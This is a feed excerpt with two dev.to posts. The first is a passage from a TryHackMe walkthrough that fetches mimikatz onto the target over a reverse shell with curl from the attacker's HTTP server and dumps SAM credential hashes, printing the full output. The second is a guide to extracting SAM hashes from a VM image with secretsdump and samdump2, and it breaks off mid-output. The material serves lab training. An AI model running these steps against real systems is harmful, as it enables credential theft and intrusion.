&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;1 File&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;             25 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;Total Files Listed:
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;1 File&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;             25 bytes
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;0 Dir&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;  13,990,260,736 bytes free
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\M&lt;/span&gt;ail&lt;span class="se"&gt;\A&lt;/span&gt;ttachments&amp;gt;type C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\w&lt;/span&gt;rohit&lt;span class="se"&gt;\D&lt;/span&gt;esktop&lt;span class="se"&gt;\f&lt;/span&gt;lag.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;type &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\w&lt;/span&gt;rohit&lt;span class="se"&gt;\D&lt;/span&gt;esktop&lt;span class="se"&gt;\f&lt;/span&gt;lag.txt
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;THM&lt;span class="o"&gt;{&lt;/span&gt;l1v1n_7h3_&lt;span class="k"&gt;*****&lt;/span&gt;_&lt;span class="k"&gt;****&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and we get the flag.&lt;/p&gt;

&lt;p&gt;At this point, since we are a member of the Administrators group, we can simply upload Mimikatz to the machine and use it to dump the hashes from the SAM registry as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frge6g6js2yd2dhtw2jws.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frge6g6js2yd2dhtw2jws.png" alt=" " width="499" height="663"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;host a python server -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Try_Hack_Me]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wget https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
&lt;span class="go"&gt;--2026-06-13 08:00:57--  https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘mimikatz.exe’

&lt;/span&gt;&lt;span class="gp"&gt;mimikatz.exe                 [  &amp;lt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; 220.01K   757KB/s    &lt;span class="k"&gt;in &lt;/span&gt;0.3s    
&lt;span class="go"&gt;
2026-06-13 08:00:59 (757 KB/s) - ‘mimikatz.exe’ saved [225288]


┌──(kali㉿kali)-[~/Try_Hack_Me]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;span class="go"&gt;Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.49.179.117 - - [13/Jun/2026 08:02:12] "GET /mimikatz.exe HTTP/1.1" 200 -

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and download that from the reverse shell -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Mail\Attachments&amp;gt;curl &lt;span class="kd"&gt;http&lt;/span&gt;://192.168.129.81:8000/mimikatz.exe &lt;span class="na"&gt;-o &lt;/span&gt;&lt;span class="kd"&gt;mimikatz&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9v1hrkkd2sy7ylcll8hp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9v1hrkkd2sy7ylcll8hp.png" alt=" " width="530" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;then, we searched for the method of dumping Sam database via mimikatz -&amp;gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4t2035ifpfskpd990qdl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4t2035ifpfskpd990qdl.png" alt=" " width="749" height="845"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mail\Attachments&amp;gt;&lt;/span&gt;mimikatz.exe
&lt;span class="go"&gt;mimikatz.exe
&lt;/span&gt;&lt;span class="gp"&gt;   .#&lt;/span&gt;&lt;span class="c"&gt;####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36&lt;/span&gt;
&lt;span class="gp"&gt; .#&lt;/span&gt;&lt;span class="c"&gt;# ^ ##.  "A La Vie, A L'Amour" - (oe.eo)&lt;/span&gt;
&lt;span class="gp"&gt;  #&lt;/span&gt;&lt;span class="c"&gt;# / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )&lt;/span&gt;
&lt;span class="gp"&gt;  #&lt;/span&gt;&lt;span class="c"&gt;# \ / ##       &amp;gt; http://blog.gentilkiwi.com/mimikatz&lt;/span&gt;
&lt;span class="gp"&gt;  '#&lt;/span&gt;&lt;span class="c"&gt;# v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )&lt;/span&gt;
&lt;span class="gp"&gt;  '#&lt;/span&gt;&lt;span class="c"&gt;####'        &amp;gt; http://pingcastle.com / http://mysmartlogon.com   ***/&lt;/span&gt;
&lt;span class="gp"&gt; mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;privilege::debug
&lt;span class="go"&gt; Privilege '20' OK
&lt;/span&gt;&lt;span class="gp"&gt; mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;token::elevate
&lt;span class="go"&gt; Token Id  : 0
 User name : 
 SID name  : NT AUTHORITY\SYSTEM
&lt;/span&gt;&lt;span class="gp"&gt; 728 {0;&lt;/span&gt;000003e7&lt;span class="o"&gt;}&lt;/span&gt; 1 D 25319      NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM S-1-5-18 &lt;span class="o"&gt;(&lt;/span&gt;04g,21p&lt;span class="o"&gt;)&lt;/span&gt; Primary
&lt;span class="gp"&gt;  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Impersonated &lt;span class="o"&gt;!&lt;/span&gt;
&lt;span class="gp"&gt;  * Process Token : {0;&lt;/span&gt;003146ba&lt;span class="o"&gt;}&lt;/span&gt; 0 D 3995258    BRICK-MAIL&lt;span class="se"&gt;\w&lt;/span&gt;rohitS-1-5-21-1966530601-3185510712-10604624-1014 &lt;span class="o"&gt;(&lt;/span&gt;14g,24p&lt;span class="o"&gt;)&lt;/span&gt; Primary
&lt;span class="gp"&gt;  * Thread Token  : {0;&lt;/span&gt;000003e7&lt;span class="o"&gt;}&lt;/span&gt; 1 D 4017344    NT AUTHORITY&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM S-1-5-18 &lt;span class="o"&gt;(&lt;/span&gt;04g,21p&lt;span class="o"&gt;)&lt;/span&gt; Impersonation &lt;span class="o"&gt;(&lt;/span&gt;Delegation&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt; mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lsadump::sam
&lt;span class="go"&gt; Domain : BRICK-MAIL
 SysKey : 36c8d26ec0df8b23ce63bcefa6e2d821
 Local SID : S-1-5-21-1966530601-3185510712-10604624
 SAMKey : 6e708461100b4988991ce3b4d8b1784e
 RID  : 000001f4 (500)
 User : Administrator
   Hash NTLM: 2dfe3378335d43f9764e581b856a662a
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 3d527dff081980ff09e87e492cebee23
 * Primary:Kerberos-Newer-Keys *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9484aadacd6c5994aed633bf92b6b3db31c57c932d2cd84a7fa635a0b3262806
       aes128_hmac       (4096) : cdda685dd630dd0796e5ddf38e22dce5
       des_cbc_md5       (4096) : 08340db613fb46b5
    OldCredentials
      aes256_hmac       (4096) : 50141e3b3b449512e393a66c32e7f89a131744eef5d8a3f6a8576919a810cda3
       aes128_hmac       (4096) : 0d717b42dbaf77bb7248b4bebf8bb3a6
       des_cbc_md5       (4096) : bc23a20170542f25
     OlderCredentials
       aes256_hmac       (4096) : 3b191b95e0b1fa83077319699194a79c8adea64e36bade3e959ccbbff42ea095
       aes128_hmac       (4096) : 318ecf3e0f6b969a949092706b519548
       des_cbc_md5       (4096) : 97f7bc3ead1f6ed6
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Credentials
       des_cbc_md5       : 08340db613fb46b5
     OldCredentials
       des_cbc_md5       : bc23a20170542f25
 RID  : 000001f5 (501)
 User : Guest
 RID  : 000001f7 (503)
 User : DefaultAccount
 RID  : 000001f8 (504)
 User : WDAGUtilityAccount
   Hash NTLM: 58f8e0214224aebc2c5f82fb7cb47ca1
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : a1528cd40d99e5dfa9fa0809af998696
 * Primary:Kerberos-Newer-Keys *
     Default Salt : WDAGUtilityAccount
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 3ff137e53cac32e3e3857dc89b725fd62ae4eee729c1c5c077e54e5882d8bd55
       aes128_hmac       (4096) : 15ac5054635c97d02c174ee3aa672227
       des_cbc_md5       (4096) : ce9b2cabd55df4ce
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : WDAGUtilityAccount
     Credentials
       des_cbc_md5       : ce9b2cabd55df4ce
 RID  : 000003f1 (1009)
 User : fstamatis
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 2ac6116566738883775d4c64894922ea
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILfstamatis
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : b677f117b8f87d99bd2bec0dc2763404eb28d34e173722ec4d663d439b121c6d
       aes128_hmac       (4096) : d96cbd8c143e83959cf98b1b37bc5c08
       des_cbc_md5       (4096) : 017acb2f802a70a2
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILfstamatis
     Credentials
       des_cbc_md5       : 017acb2f802a70a2
 RID  : 000003f2 (1010)
 User : lhedvig
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 9a9fe1153250a8c494ac7290b6e86bec
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILlhedvig
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9cc3c27c2b6a7a6bfdcf4c9790aee0bd3012f337a8c452a0a5321ee6673c663b
       aes128_hmac       (4096) : 9d9bc45f622cf03fe08b86bd9ef45e5a
       des_cbc_md5       (4096) : d96770bce3ba327a
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILlhedvig
     Credentials
       des_cbc_md5       : d96770bce3ba327a
 RID  : 000003f3 (1011)
 User : oaurelius
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : bb03e2de24b406b050d5c4b110de5d94
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILoaurelius
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 4e4d369c51fe79b5fa9cd372a6e2983b3d30ae43f7990701548775d087106532
       aes128_hmac       (4096) : ed9ae473c2213b7994c94e800cdb05ca
       des_cbc_md5       (4096) : 3167266bd54c3191
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILoaurelius
     Credentials
       des_cbc_md5       : 3167266bd54c3191
 RID  : 000003f4 (1012)
 User : pcathrine
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : e52951c39856ffc37c81c2df09ccad3c
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILpcathrine
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : ea10cad59f29a9c8daf61992e574781a095d9e4c6443da8170a7c07c051eda59
       aes128_hmac       (4096) : 93005a1203c24a41c9a05beee9662d13
       des_cbc_md5       (4096) : ae701fec345b3b8c
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILpcathrine
     Credentials
       des_cbc_md5       : ae701fec345b3b8c
 RID  : 000003f5 (1013)
 User : tchikondi
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5588ad299d776483b44417c0bd88861a
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILtchikondi
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : eaa49b1593bb2c8240611ead9100002a3c520fcbfd103629da20046e5f093b10
       aes128_hmac       (4096) : ef093a7d07ae03cedfbe3098a7376706
       des_cbc_md5       (4096) : 6bab43253e6b4aa1
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILtchikondi
     Credentials
       des_cbc_md5       : 6bab43253e6b4aa1
 RID  : 000003f6 (1014)
 User : wrohit
   Hash NTLM: 8458995f1d0a4b0c107fb8**********
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5e0d9f81c0780c189099b7758d79a2e6
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILwrohit
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 06cf703200c4fcd6ffaca428e96f18e5063dbb956c58aa7edee5b5acd7817b64
       aes128_hmac       (4096) : 8976fef34b9b36fea80c2d65c764ec5e
       des_cbc_md5       (4096) : 192558b67f7983a4
     OldCredentials
       aes256_hmac       (4096) : 227b60e30b0f1b929da7a0022c56de98121b6b8c151061be8f3923b823b6a85a
       aes128_hmac       (4096) : 82b5027730dd8a73890e09ea65cec047
       des_cbc_md5       (4096) : 13adae677067f7e9
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILwrohit
     Credentials
       des_cbc_md5       : 192558b67f7983a4
     OldCredentials
       des_cbc_md5       : 13adae677067f7e9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we get the NTLM hash of "wrohit" -&amp;gt;&lt;br&gt;
&lt;code&gt;User : wrohit Hash NTLM: 8458995f1d0a4b0c107fb8**********&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb56ywkfji4xgmtc1pfe3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb56ywkfji4xgmtc1pfe3.png" alt=" " width="799" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lastly, we are tasked with finding the password for the hMailServer Administrator Dashboard&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mail\Attachments&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;dir &lt;/span&gt;C:&lt;span class="se"&gt;\*&lt;/span&gt;hMailServer&lt;span class="k"&gt;*&lt;/span&gt;  /s
&lt;span class="go"&gt;dir C:\*hMailServer*  /s
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Program Files (x86)

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:45 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\Program Files (x86)\hMailServer\Addons\DataDirectorySynchronizer

10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               1 File(s)        176,128 bytes

 Directory of C:\Program Files (x86)\hMailServer\Bin

10/03/2021  08:12 AM         4,636,672 hMailServer.exe
02/25/2024  11:15 PM               604 hMailServer.INI
10/03/2021  08:12 AM            19,456 hMailServer.Minidump.exe
10/03/2021  08:09 AM           163,976 hMailServer.tlb
10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               5 File(s)      4,996,836 bytes

 Directory of C:\Program Files (x86)\hMailServer\Database

06/17/2026  06:45 AM           675,840 hMailServer.sdf
               1 File(s)        675,840 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:45 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

 Directory of C:\Users\Administrator\AppData\Local\Halvar Information

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:42 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\Users\Administrator\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\AppIconCache\100

03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Addons_DataDirectorySynchronizer_DataDirectorySynchronizer_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_DBSetup_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_hMailAdmin_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_unins000_exe
               4 File(s)        148,056 bytes

 Directory of C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent

02/25/2024  11:15 PM             1,009 hMailServer.lnk
               1 File(s)          1,009 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs

&lt;/span&gt;&lt;span class="gp"&gt;01/29/2024  05:45 AM    &amp;lt;DIR&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;hMailServer
&lt;span class="go"&gt;               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I gave this terminal directory output and ask the AI about the best chance to get that type of info from and the AI said -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7pb1lkc3gjl1741ay2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg7pb1lkc3gjl1741ay2o.png" alt=" " width="657" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we got the Administrator's Password -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcqudixprktwlkyzzr1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcqudixprktwlkyzzr1t.png" alt=" " width="660" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Decode that hash in crackstation you will get the password :)&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Crack the SAM Database in Kali Linux | Windows Password Hash Extraction Guide</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 17:23:10 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/how-to-crack-the-sam-database-in-kali-linux-windows-password-hash-extraction-guide-3jek</link>
      <guid>https://dev.to/ibrahim71reza/how-to-crack-the-sam-database-in-kali-linux-windows-password-hash-extraction-guide-3jek</guid>
      <description>&lt;p&gt;In this guide, I will show you an approach to crack the Windows SAM database NTLM hashes. Before cracking, you first need to obtain these three files from the target system: &lt;strong&gt;SAM, SYSTEM, and SECURITY&lt;/strong&gt;. I had a &lt;strong&gt;.ova&lt;/strong&gt; file of a Windows virtual machine, so I will demonstrate how to extract them from that image. First, you need to dump the target system’s image. If it is a VM or virtual disk image, then this method of extracting those three files will be useful for you.&lt;/p&gt;

&lt;p&gt;Convert the &lt;strong&gt;.ova&lt;/strong&gt; file into a .rar file and then extract that . And we got this →&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fipsclsl44c8n7z7q44id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fipsclsl44c8n7z7q44id.png" alt=" " width="800" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I loaded the “Windows-disk001.vmdk” file as an image in Magnet AXIOM. You can also use Autopsy or FTK Imager for this task. When the processing was complete, we went to the →&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzgti9bvam8box6m1tj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzgti9bvam8box6m1tj9.png" alt=" " width="800" height="673"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Directory → “ windows/system32/config “&lt;/p&gt;

&lt;p&gt;Exported SAM , SYSTEM &amp;amp; SECURITY file and paste that in kali linux .&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;python3-impacket                                     
&lt;span class="go"&gt;python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235                                                                                                              
┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; impacket.examples.secretsdump &lt;span class="nt"&gt;-sam&lt;/span&gt; SAM &lt;span class="nt"&gt;-system&lt;/span&gt; SYSTEM LOCAL
&lt;span class="go"&gt;
┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;samdump2 SYSTEM SAM &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hashes.txt                                                                                                                                  
&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;hashes.txt 
&lt;span class="go"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
